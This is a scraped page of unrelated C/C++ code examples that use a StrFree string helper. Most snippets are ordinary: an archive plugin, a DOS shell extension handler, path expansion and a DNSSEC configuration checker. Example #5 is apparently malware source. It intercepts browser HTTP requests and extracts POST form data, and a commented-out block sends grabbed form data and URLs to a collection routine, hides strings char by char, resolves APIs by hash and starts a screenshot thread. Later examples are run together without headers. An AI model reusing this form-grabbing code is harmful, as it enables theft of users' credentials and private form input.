Exemple #1
0
void MaPlugin::FreeArchiveItem(ArchiveItem* pItem)
{
	StrFree((void*)pItem->lpFileName);
	StrFree((void*)pItem->lpAlternateFileName);
}
Exemple #2
0
/* Also: The contents of both buffers is monitored in order to
	check if they got overflowed during the MUX call. If so,
	the executation is aborted. */
int runExtension(char ** const command
	, const char * const line
	, char ** const newargs)
{	int clen, llen, xlen, nlen;
	struct REGPACK r, r2;
	char *muxCmd, *muxArg, *muxBuf, *p;

	assert(command);
	assert(*command);
	assert(line);
	assert(newargs);

	if((clen = strlen(*command)) >= BUFFER_SIZE_MUX_AE
	 || (llen = strlen(line)) >= BUFFER_SIZE_MUX_AE
	 || llen + clen >= BUFFER_SIZE_MUX_AE) {
		error_long_mux_line();
		return 0;
	}

	/* Duplicate & fill in the length bytes. */
		/* Both buffers must be located in the same segment */
	if((muxBuf = emalloc(2 * (BUFFER_SIZE_MUX_AE + 4))) == 0)
	 	return 0;

		/* fill everything with magic values */
	memset(muxBuf, (char)BUFFER_SIZE_MUX_AE, 2 * (BUFFER_SIZE_MUX_AE + 4));
	muxCmd = muxBuf + 2;
	muxArg = muxBuf + BUFFER_SIZE_MUX_AE + 4 + 2;
	memcpy(muxCmd, *command, clen);
	muxCmd[-1] = (char)clen;
	memcpy(muxArg, muxCmd, clen);
	memcpy(muxArg + clen, line, llen);
	muxArg[-1] = (char)(xlen = llen + clen);
/*	muxCmd[-2] = muxArg[-2] = (char)BUFFER_SIZE_MUX_AE;
		see above memset() */

	assert(xlen <= 255);

	/* 4dos v4 compatible space padding */
	memset(muxCmd + clen, ' ', BUFFER_SIZE_MUX_AE - clen);
	/* The command line is \xd terminated, for savety reasons an \0 is
		added too */
	strcpy(muxArg + xlen, "\xd");
	muxCmd[BUFFER_SIZE_MUX_AE]		/* Make sure the buffers is terminated */
	 = muxArg[BUFFER_SIZE_MUX_AE] = '\0';

/* Both strings have been prepared now; the MUX call is going to happen */
	r.r_ax = 0xae00;		/* Installable Commands check for extension */
	r.r_dx = 0xffff;		/* Magic value */
	r.r_cx = xlen | 0xff00;	/* length of command line tail (4dos v4) */
	r.r_ds = r.r_es = FP_SEG(muxBuf);
	r.r_bx = FP_OFF(muxArg);
	r.r_si = FP_OFF(muxCmd);
	r.r_di = 0;				/* Magic value 4dos v4 */
	memcpy(&r2, &r, sizeof(r2));
	intr(0x2f, &r);

	if((byte)muxCmd[-2] != BUFFER_SIZE_MUX_AE
#if BUFFER_SIZE_MUX_AE < 255
	 || (byte)muxCmd[-1] > BUFFER_SIZE_MUX_AE
#endif
	 || muxCmd[BUFFER_SIZE_MUX_AE]
	 || (byte)muxArg[-2] != BUFFER_SIZE_MUX_AE
#if BUFFER_SIZE_MUX_AE < 255
	 || (byte)muxArg[-1] > BUFFER_SIZE_MUX_AE
#endif
	 || muxArg[BUFFER_SIZE_MUX_AE]) {
		/* Yiek! That looks very much like an overflow!! */
		dprintf( ("[Memory corrupted during Installable Commands handler]\n") );
		longjmp(jmp_beginning, E_CorruptMemory);
	}


	switch(r.r_ax & 0xFF) {
	case 0x00:		/* No appropriate extension found */
		break;

	default:		/* Invalid response */
		dprintf( ("[Invalid response from Installable Commands handler: 0x%02x]\n", r.r_ax & 0xFF) );
		break;

	case 0xFF:		/* Is an extension -> execute the Installable Command */
		r2.r_ax = 0xae01;
		r2.r_cx = clen;
		intr(0x2f, &r2);

		if((byte)muxCmd[-2] != BUFFER_SIZE_MUX_AE
#if BUFFER_SIZE_MUX_AE < 255
		 || (byte)muxCmd[-1] > BUFFER_SIZE_MUX_AE
#endif
		 || muxCmd[BUFFER_SIZE_MUX_AE]
		 || (byte)muxArg[-2] != BUFFER_SIZE_MUX_AE
#if BUFFER_SIZE_MUX_AE < 255
		 || (byte)muxArg[-1] > BUFFER_SIZE_MUX_AE
#endif
		 || muxArg[BUFFER_SIZE_MUX_AE]) {
			/* Yiek! That looks very much like an overflow!! */
			dprintf( ("[Memory corrupted during Installable Commands handler]\n") );
			longjmp(jmp_beginning, E_CorruptMemory);
		}

		if(muxCmd[-1] == 0) {	/* The command had been processed */
			myfree(muxBuf);
			return 1;			/* Stop interpreting the command */
		}

		break;
	}

/* Cleanup: Adjust buffers and check for overflow */
	/* Check command and transform it back into C-style string */
	p = muxCmd + (byte)muxCmd[-1];
	while(--p >= muxCmd && isspace(*p));
	*++p = 0;
	if(*muxCmd) {
		if((p = erealloc(*command, (nlen = p - muxCmd) + 1)) == 0) {
			myfree(muxBuf);
			return 0;
		}
		StrFUpr(muxCmd);		/* make sure it's still uppercased */
		memcpy(*command = p, muxCmd, nlen + 1);
	} else {
		chkPtr(*command);
		StrFree(*command);
		nlen = 0;
	}

	/* Check the command line and transform it into a C-style string */
	/* Must terminate as line[BUFFER_SIZE] == 0 */
	p = muxArg + (byte)muxArg[-1];
	while(--p >= muxArg && *p == '\xd');
	*++p = 0;
	if((p - muxArg) >= nlen
	 && ((p - muxArg) - nlen != llen || strcmp(&muxArg[nlen], line) != 0)) {
	 	/* new arguments */
		/* Should never trigger, because the buffer for the command
			has the same size as the buffer for the argument itself.
			Because of the spurious length bytes:
				&muxArg[nlen] - muxBuf > BUFFER_SIZE_MUX_AE
			and because:
				strlen(&muxArg[nlen]) <= BUFFER_SIZE_MUX_AE
			both memory areas cannot overlap. */
		assert(&muxArg[nlen] - muxBuf > BUFFER_SIZE_MUX_AE);
		assert(strlen(&muxArg[nlen]) < BUFFER_SIZE_MUX_AE);
		strcpy(muxBuf, &muxArg[nlen]);
		*newargs = StrTrim(muxBuf);
		return 0;
	}

	myfree(muxBuf);
	return 0;			/* Proceed command processing as usual */
}
Exemple #3
0
TCHAR*  StrReplace (TCHAR* String1, const TCHAR *String2)
{
	StrFree (String1);
	return StrDuplicate (String2);
}
Exemple #4
0
char *dfnexpand(const char * const fnam, char * const path)
{	char *h, *p;				/* intermediate pointers */
	char *dr, *pa, *na, *ex;	/* filename components */
	char pathDr, *pathPa;		/* drive & path of 'path' */
	char *dynPath;

#ifdef SUPPORT_UNC_PATH
	DBG_ENTER("dfnuexpand", Suppl_dfn)
#else
	DBG_ENTER("dfnexpand", Suppl_dfn)
#endif

	assert(fnam);

	DBG_ARGUMENTS( ("fnam=\"%s\", path=\"%s\"", fnam, path) )

	chkHeap
	if((h = dfnsqueeze(fnam)) == 0) 
		DBG_RETURN_S( 0)

#ifdef SUPPORT_UNC_PATH
	if(isUNCpath(h)) {			/* UNC paths are always fully-qualified */
		/* check if the trailing '\\' is present to mark the root direc */
		DBG_RETURN_BS((*UNCpath(h) != '\\')? StrAppChr(h, '\\') : h)
	}
#endif

	chkHeap
	if(!*h || h[1] != ':' || h[2] != '\\') {
	/* the spec is not fully-qualified or completely empty */
		pathDr = 0;
		dynPath = 0;
		if((pathPa = path) != 0 && *pathPa) {
			if(pathPa[1] == ':') {	/* path[] has drive spec */
				pathDr = *path;
				if(!*(pathPa += 2)) {
					pathPa = 0;
					goto noPath;
				}
			}
			if(dfndelim(*pathPa) && !pathPa[1])
				++pathPa;		/* Trans "/" || "\\" --> "" */
noPath:;
		}
		chkHeap
		if(dfnsplit(h, &dr, &pa, &na, &ex)) {
			StrFree(h);
			if(dr) {				/* drive specified */
				if(pathDr && toFUpper(pathDr) != *dr)
					/* The specified path is for a different drive */
					pathPa = 0;
			}
			else {					/* drive spec missing */
				if((dr = StrChar(pathDr? pathDr: 'A' + getdisk())) == 0)
					goto errRet;
			}

			if(!pa || *pa != '\\' && *pa != NUL) {
			/* no path or a relative one */
				if(!pathPa) {				/* path has no path spec in it */
					if((dynPath = dfnpath(*dr)) == 0)
						goto errRet;
					pathPa = dynPath + 2;
				}

				if((p = dfnmerge(0, 0, pathPa, pa, 0)) == 0)
					goto errRet;
 				StrRepl(pa, p);
			}
			h = dfnmerge(0, dr, pa, na, ex);
		} else
			StrFree(h);

errRet:
		chkHeap
		free(dr);
		free(pa);
		free(na);
		free(ex);
		free(dynPath);
	}
Exemple #5
0
bool MakeInfo( PREQUEST pReq, PCHAR buf, int len )
{

	// Собираем информацию об отправляемом запросе
	PCHAR MethodName;
	PCHAR Path;

	// Разбираем тип запроса

	if (!ParseRequestFirstLine(buf, &MethodName, &Path, NULL))
		return false;

	pReq->dwVerb = GetMethodFromStr(MethodName);

	if (pReq->dwVerb != hmGET && pReq->dwVerb!= hmPOST)
    {
		StrFree(MethodName);
        StrFree(Path);
		return false;
	}

	// Собираем URL
	PCHAR Host = GetHTTPHeaderValue(buf, ParamHost);

	PCHAR Protocol = ProtocolHTTP;
	if (pReq->bHttps) Protocol = ProtocolHTTPS;

	pReq->Url = StrNew(5, Protocol, "://", Host, "/", Path);
	StrFree(Path);
	StrFree(Host);
    if (pReq->Url == NULL) return false;


	// Проверяем POST данные
	if (pReq->dwVerb == hmPOST)
	{
		UpdateFFUserAgent(buf);

		DWORD HeaderHash = CalcHash(buf);
		if (FindHash(HeaderHash)) return true;

        // Проверяем тип контента
		PCHAR CT = GetHTTPHeaderValue(buf, ParamContentType);
		DWORD Hash = CalcHash(CT);
		StrFree(CT);
		if (Hash != 0x6B3CDFEC) /* url_encoded*/
			return true;

		// Обрабатываем пост данные
		PCHAR Optional = GetURLEncodedPostData(buf);
        pReq->Optional = Optional;
		if (Optional != NULL && ProcessPostData(pReq, Optional))
			AddHash(HeaderHash);


	}

  /*	if ( len < 10 )
	{
		return false;
	}

	DWORD dwMethod = -1;

	char Post[] = {'P','O','S','T',' ',0};
	char Get[]	= {'G','E','T',' ',0};

	char *Method = NULL;

	if ( !m_lstrncmp( buf, Get, 4 ) )
	{
		dwMethod = VERB_IS_GET;
		Method   = Get;
	}
		
	if ( !m_lstrncmp( buf, Post, 5 ) )
	{
		dwMethod = VERB_IS_POST;
		Method   = Post;
	}

	if ( dwMethod == (DWORD)-1 )
	{
		return false;
	}


	//----------------------------------------------------------------------


	typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
	fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );

	char *Host   = NULL;
	char *Params = NULL;

	char Server[] = {'H','o','s','t',':',' ',0};

	if ( GetText( buf, &Host, Server, "\r\n" ) != -1 )
	{
		if ( GetText( buf, &Params, Method, " " ) != -1 )
		{
			char *Type = NULL;

			char https[] = {'h','t','t','p','s',':','/','/',0};
			char http[]  = {'h','t','t','p',':','/','/',0};

			if ( pReq->bHttps )
			{
				Type = https;
			}
			else
			{
				Type = http;
			}

			if ( ( pReq->Url = (char*)MemAlloc( 1024 ) ) != NULL )
			{
				pwsprintfA( pReq->Url, "%s%s%s", Type, Host, Params );
				pReq->dwVerb = dwMethod;
			}

			MemFree( Params );
		}

		MemFree( Server );
		MemFree( Host );
	}

	DWORD dwHeaderHash = CalcHash( buf );

	if ( pReq->Url != NULL && pReq->dwVerb == VERB_IS_POST )
	{
		if ( !FindHash( dwHeaderHash ) )
		{
			char ContentType[] = {'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',0 };
			char *Content = NULL;

			if ( GetText( buf, &Content, ContentType, "\r\n" ) != -1 )
			{
				DWORD dwContentHash = CalcHash( Content );

				MemFree( Content );

				if ( dwContentHash == 0x6B3CDFEC ) //urlencode
				{
					DWORD dwLen = 0;

					char *PostReq = GetPostData( buf, &dwLen, len );

					if ( PostReq != NULL && dwLen )
					{
						if ( ( pReq->Optional = (char*)MemAlloc( dwLen + 1 ) ) != NULL )
						{
							m_memcpy( pReq->Optional, PostReq, dwLen );
						}

						if ( CalcHash( pReq->Optional ) == 0x24DE3210 )
						{
							StartThread( ScreensThread, NULL );
							AddHash( dwHeaderHash );
							return true;
						}

						MemFree( PostReq );

						char PostTag[]  = {'|','P','O','S','T',':',0};

						char *SendBuffer = (char*)MemAlloc( dwLen + m_lstrlen( pReq->Url ) + m_lstrlen( PostTag ) + 2 );

						if ( SendBuffer != NULL )
						{
							m_lstrcpy( SendBuffer, pReq->Url );
							m_lstrcat( SendBuffer, "?" );
							m_lstrcat( SendBuffer, PostTag  );
							m_lstrcat( SendBuffer, pReq->Optional );

							if ( !m_lstrlen( FFUserAgent ) )
							{
								char UserAgentStr[] = {'U','s','e','r','-','A','g','e','n','t',':',' ', 0}; 
								char *pUserAgent		= GetHttpInfo(UserAgentStr, buf );

								if ( pUserAgent == NULL )
								{
									FFUserAgent[0] = '-';
									FFUserAgent[1] = '\0';
								}
								else
								{
									if ( m_lstrlen( pUserAgent ) <= 255 )
									{
										m_lstrcpy( FFUserAgent, pUserAgent );
									}
								}

								MemFree( pUserAgent );
							}

							if ( SendFormGrabberLogs(pReq->Url, SendBuffer, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB ) )
							{
								AddHash( dwHeaderHash );
							}

							MemFree( SendBuffer );
						}						
					}
				}
			}
		}
	}
   */
	return true;
}
/* 
 * Fairly basic main.
 */
int main (int argc, char *argv[])
{
	int status = 0; /* Will be non-zero on error (NOT warning) */
    int ch;
	int option_index = 0;
	int i = 0;
	int free_config = 0;
	static struct option long_options[] =
    {
        {"config",  required_argument, 0, 'c'},
        {"help",    no_argument,       0, 'h'},
        {"kasp",  required_argument, 0, 'k'},
        {"version", no_argument,       0, 'V'},
        {"verbose", no_argument,       0, 'v'},
        {0,0,0,0}
    };

	/* The program name is the last component of the program file name */
    if ((progname = strrchr(argv[0], '/'))) {	/* EQUALS */
        ++progname;			/* Point to character after last "/" */
	}
	else {
		progname = argv[0];
	}

    while ((ch = getopt_long(argc, argv, "c:hk:Vv", long_options, &option_index)) != -1) {
        switch (ch) {
            case 'c':
				config = StrStrdup(optarg);
				free_config = 1;
                break;
			case 'h':
				usage();
				exit(0);
				break;
            case 'k':
				kasp = StrStrdup(optarg);
                break;
			case 'V':
                printf("%s version %s\n", PACKAGE_NAME, PACKAGE_VERSION);
                exit(0);
                break;
			case 'v':
				verbose = 1;
				break;
		}
	}

	/* 0) Some basic setup */
	log_init(DEFAULT_LOG_FACILITY, progname);

	/* 1) Check on conf.xml - set kasp.xml (if -k flag not given) */
	status = check_conf(&kasp);

	/* 2) Checks on kasp.xml */
	status += check_kasp();

	if (verbose) {
		dual_log("DEBUG: finished %d\n", status);
	}

	xmlCleanupParser();

	for (i = 0; i < repo_count; i++) {
		StrFree(repo_list[i]);
	}
	StrFree(repo_list);
	if (free_config) {
		StrFree(config);
	}
	StrFree(kasp);

	return status;
}
int check_conf(char** kasp) {
	int status = 0;
	int i = 0;
	int j = 0;
	int temp_status = 0;

	xmlDocPtr doc;
    xmlXPathContextPtr xpath_ctx;
    xmlXPathObjectPtr xpath_obj;
    xmlNode *curNode;
    xmlChar *xexpr;
	char* temp_char = NULL;

	KC_REPO* repo = NULL;
	int* repo_mods = NULL; /* To see if we have looked at this module before */

	const char* rngfilename = OPENDNSSEC_SCHEMA_DIR "/conf.rng";
	const char* zonerngfilename = OPENDNSSEC_SCHEMA_DIR "/zonelist.rng";

	/* Check that the file is well-formed */
	status = check_rng(config, rngfilename);

	if (status == 0) {
		dual_log("INFO: The XML in %s is valid\n", config);
	} else {
		return status; /* Don't try to read the file if it is invalid */
	}

	 /* Load XML document */
    doc = xmlParseFile(config);
    if (doc == NULL) {
        return 1;
    }

    /* Create xpath evaluation context */
    xpath_ctx = xmlXPathNewContext(doc);
    if(xpath_ctx == NULL) {
        xmlFreeDoc(doc);
        return 1;
    }

    /* REPOSITORY section */
    xexpr = (xmlChar *)"//Configuration/RepositoryList/Repository";
    xpath_obj = xmlXPathEvalExpression(xexpr, xpath_ctx);
    if(xpath_obj == NULL) {
        xmlXPathFreeContext(xpath_ctx);
        xmlFreeDoc(doc);
        return 1;
    }

    if (xpath_obj->nodesetval) {
		repo_count = xpath_obj->nodesetval->nodeNr;
		
		repo = (KC_REPO*)malloc(sizeof(KC_REPO) * repo_count);
		repo_mods = (int*)malloc(sizeof(int) * repo_count);
		repo_list = (char**)malloc(sizeof(char*) * repo_count);

		if (repo == NULL || repo_mods == NULL || repo_list == NULL) {
			dual_log("ERROR: malloc for repo information failed\n");
			exit(1);
		}

        for (i = 0; i < repo_count; i++) {
			repo_mods[i] = 0;
                 
            curNode = xpath_obj->nodesetval->nodeTab[i]->xmlChildrenNode;
			/* Default for capacity */

            repo[i].name = (char *) xmlGetProp(xpath_obj->nodesetval->nodeTab[i],
                                             (const xmlChar *)"name");
			repo_list[i] = StrStrdup(repo[i].name);

            while (curNode) {
                if (xmlStrEqual(curNode->name, (const xmlChar *)"TokenLabel"))
                    repo[i].TokenLabel = (char *) xmlNodeGetContent(curNode);
                if (xmlStrEqual(curNode->name, (const xmlChar *)"Module"))
                    repo[i].module = (char *) xmlNodeGetContent(curNode);
                curNode = curNode->next;
            }
        }
    }
    xmlXPathFreeObject(xpath_obj);

	/* Now we have all the information we need do the checks */
	for (i = 0; i < repo_count; i++) {
		
		if (repo_mods[i] == 0) {

			/* 1) Check that the module exists */
			status += check_file(repo[i].module, "Module");

			repo_mods[i] = 1; /* Done this module */

			/* 2) Check repos on the same modules have different TokenLabels */
			for (j = i+1; j < repo_count; j++) {
				if ( repo_mods[j] == 0 && 
						(strcmp(repo[i].module, repo[j].module) == 0) ) {
					repo_mods[j] = 1; /* done */

					if (strcmp(repo[i].TokenLabel, repo[j].TokenLabel) == 0) {
						dual_log("ERROR: Multiple Repositories (%s and %s) in %s have the same Module (%s) and TokenLabel (%s)\n", repo[i].name, repo[j].name, config, repo[i].module, repo[i].TokenLabel);
						status += 1;
					}
				}
			}
		}

		/* 3) Check that the name is unique */
		for (j = i+1; j < repo_count; j++) {
			if (strcmp(repo[i].name, repo[j].name) == 0) {
				dual_log("ERROR: Two repositories exist with the same name (%s)\n", repo[i].name);
				status += 1;
			}
		}
	}

	/* COMMON section */
	/* PolicyFile (aka KASP); we will validate it later */
	if (*kasp == NULL) {
		xexpr = (xmlChar *)"//Configuration/Common/PolicyFile";
		xpath_obj = xmlXPathEvalExpression(xexpr, xpath_ctx);
		if(xpath_obj == NULL) {
			xmlXPathFreeContext(xpath_ctx);
			xmlFreeDoc(doc);

			for (i = 0; i < repo_count; i++) {
				free(repo[i].name);
				free(repo[i].module);
				free(repo[i].TokenLabel);
			}
			free(repo);
			free(repo_mods);

			return -1;
		}
		temp_char = (char*) xmlXPathCastToString(xpath_obj);
		StrAppend(kasp, temp_char);
		StrFree(temp_char);
		xmlXPathFreeObject(xpath_obj);
	}
    

	/* Check that the  Zonelist file is well-formed */
	xexpr = (xmlChar *)"//Configuration/Common/ZoneListFile";
	xpath_obj = xmlXPathEvalExpression(xexpr, xpath_ctx);
	if(xpath_obj == NULL) {
		xmlXPathFreeContext(xpath_ctx);
		xmlFreeDoc(doc);

		for (i = 0; i < repo_count; i++) {
			free(repo[i].name);
			free(repo[i].module);
			free(repo[i].TokenLabel);
		}
		free(repo);
		free(repo_mods);

		return -1;
	}
	temp_char = (char*) xmlXPathCastToString(xpath_obj);

	if (check_rng(temp_char, zonerngfilename) == 0) {
		dual_log("INFO: The XML in %s is valid\n", temp_char);
	} else {
		status += 1;
	}

    xmlXPathFreeObject(xpath_obj);
	StrFree(temp_char);

	/* ENFORCER section */

	/* Check defined user/group */
	status += check_user_group(xpath_ctx, 
			(xmlChar *)"//Configuration/Enforcer/Privileges/User", 
			(xmlChar *)"//Configuration/Enforcer/Privileges/Group");

	/* Check datastore exists (if sqlite) */
	/* TODO check datastore matches libksm without building against libksm */
	temp_status = check_file_from_xpath(xpath_ctx, "SQLite datastore",
			(xmlChar *)"//Configuration/Enforcer/Datastore/SQLite");
	if (temp_status == -1) {
		/* Configured for Mysql DB */
		/*if (DbFlavour() != MYSQL_DB) {
			dual_log("ERROR: libksm compiled for sqlite3 but conf.xml configured for MySQL\n");
		}*/
	} else {
		status += temp_status;
		/* Configured for sqlite DB */
		/*if (DbFlavour() != SQLITE_DB) {
			dual_log("ERROR: libksm compiled for MySQL but conf.xml configured for sqlite3\n");
		}*/
	}

	/* Warn if Interval is M or Y */
	status += check_time_def_from_xpath(xpath_ctx, (xmlChar *)"//Configuration/Enforcer/Interval", "Configuration", "Enforcer/Interval", config);

	/* Warn if RolloverNotification is M or Y */
	status += check_time_def_from_xpath(xpath_ctx, (xmlChar *)"//Configuration/Enforcer/RolloverNotification", "Configuration", "Enforcer/RolloverNotification", config);

	/* Check DelegationSignerSubmitCommand exists (if set) */
	temp_status = check_file_from_xpath(xpath_ctx, "DelegationSignerSubmitCommand",
			(xmlChar *)"//Configuration/Enforcer/DelegationSignerSubmitCommand");
	if (temp_status > 0) {
		status += temp_status;
	}

	/* SIGNER section */
	/* Check defined user/group */
	status += check_user_group(xpath_ctx, 
			(xmlChar *)"//Configuration/Signer/Privileges/User", 
			(xmlChar *)"//Configuration/Signer/Privileges/Group");

	/* Check WorkingDirectory exists (or default) */
	temp_status = check_path_from_xpath(xpath_ctx, "WorkingDirectory",
			(xmlChar *)"//Configuration/Signer/WorkingDirectory");
	if (temp_status == -1) {
		/* Check the default location */
		check_path(OPENDNSSEC_STATE_DIR "/tmp", "default WorkingDirectory");
	} else {
		status += temp_status;
	}
		
    xmlXPathFreeContext(xpath_ctx);
    xmlFreeDoc(doc);

	for (i = 0; i < repo_count; i++) {
		free(repo[i].name);
		free(repo[i].module);
		free(repo[i].TokenLabel);
	}
	free(repo);
	free(repo_mods);

	return status;
}
Exemple #8
0
int __stdcall Archive::OnProcessFile (int nParam1, ProcessFileStruct *pfs)
{
	char *lpTemp;

	m_pCurrentItem = pfs?pfs->pItem:NULL;

	if ( m_OS.bFirstFile )
	{
		if ( !OptionIsOn (m_nMode, OPM_SILENT) )
		{
			if ( m_OS.nOperation == OPERATION_EXTRACT )
			{
				doEmptyDialog (_M(MProcessFileExtractionTitle), false, c);
				Info.Text (c.X+5, c.Y+2, FarGetColor (COL_DIALOGTEXT), _M(MProcessFileExtraction));
			}

			if ( m_OS.nOperation == OPERATION_ADD )
				doEmptyDialog (_M(MProcessFileAdditionTitle), false, c);

			if ( m_OS.nOperation == OPERATION_DELETE )
			{
				doEmptyDialog (_M(MProcessFileDeletionTitle), false, c);
				Info.Text (c.X+5, c.Y+2, FarGetColor (COL_DIALOGTEXT), _M(MProcessFileDeletion));
			}

			Info.Text (c.X+5, c.Y+4, FarGetColor (COL_DIALOGTEXT), _M(MProcessFileTo));

			doIndicator (c.X+5, c.Y+6, 0);
			doIndicator (c.X+5, c.Y+8, 0);

			Info.Text (0, 0, 0, 0);
		}

		m_OS.bFirstFile = false;
		m_OS.uTotalProcessedSize = 0;
	}

	if ( m_OS.nOperation == OPERATION_ADD )
	{
		if ( m_pCurrentItem )
			Info.Text (c.X+5, c.Y+2, FarGetColor (COL_DIALOGTEXT), _M(MProcessFileAddition));
		else
			Info.Text (c.X+5, c.Y+2, FarGetColor (COL_DIALOGTEXT), _M(MProcessFileAdditionRecompresion));
	}

	//if ( m_pCurrentItem )
	//	MessageBox (0, m_pCurrentItem->FindData.cFileName, m_pCurrentItem->FindData.cFileName, MB_OK);

	if ( !OptionIsOn (m_nMode, OPM_SILENT) )
	{
		lpTemp = StrCreate (260);

		memset (lpTemp, 32, 40);
		Info.Text (c.X+5, c.Y+3, FarGetColor (COL_DIALOGTEXT), lpTemp);
		Info.Text (c.X+5, c.Y+5, FarGetColor (COL_DIALOGTEXT), lpTemp);

		if ( m_pCurrentItem )
		{
			strcpy (lpTemp, m_pCurrentItem->FindData.cFileName);

			FSF.TruncPathStr (lpTemp, 40);
			Info.Text (c.X+5, c.Y+3, FarGetColor (COL_DIALOGTEXT), lpTemp);
		}

		if ( pfs && pfs->lpDestFileName )
		{
			strcpy (lpTemp, pfs->lpDestFileName);
			FSF.TruncPathStr (lpTemp, 40);

			Info.Text (c.X+5, c.Y+5, FarGetColor (COL_DIALOGTEXT), lpTemp);
		}

		StrFree (lpTemp);

		Info.Text (0, 0, 0, 0);
	}

	if ( m_pCurrentItem )
		m_OS.uFileSize = m_pCurrentItem->FindData.nFileSizeHigh*0x100000000ull+m_pCurrentItem->FindData.nFileSizeLow;
	else
		m_OS.uFileSize = m_OS.uTotalSize;

	m_OS.uProcessedSize = 0;

	return TRUE;
}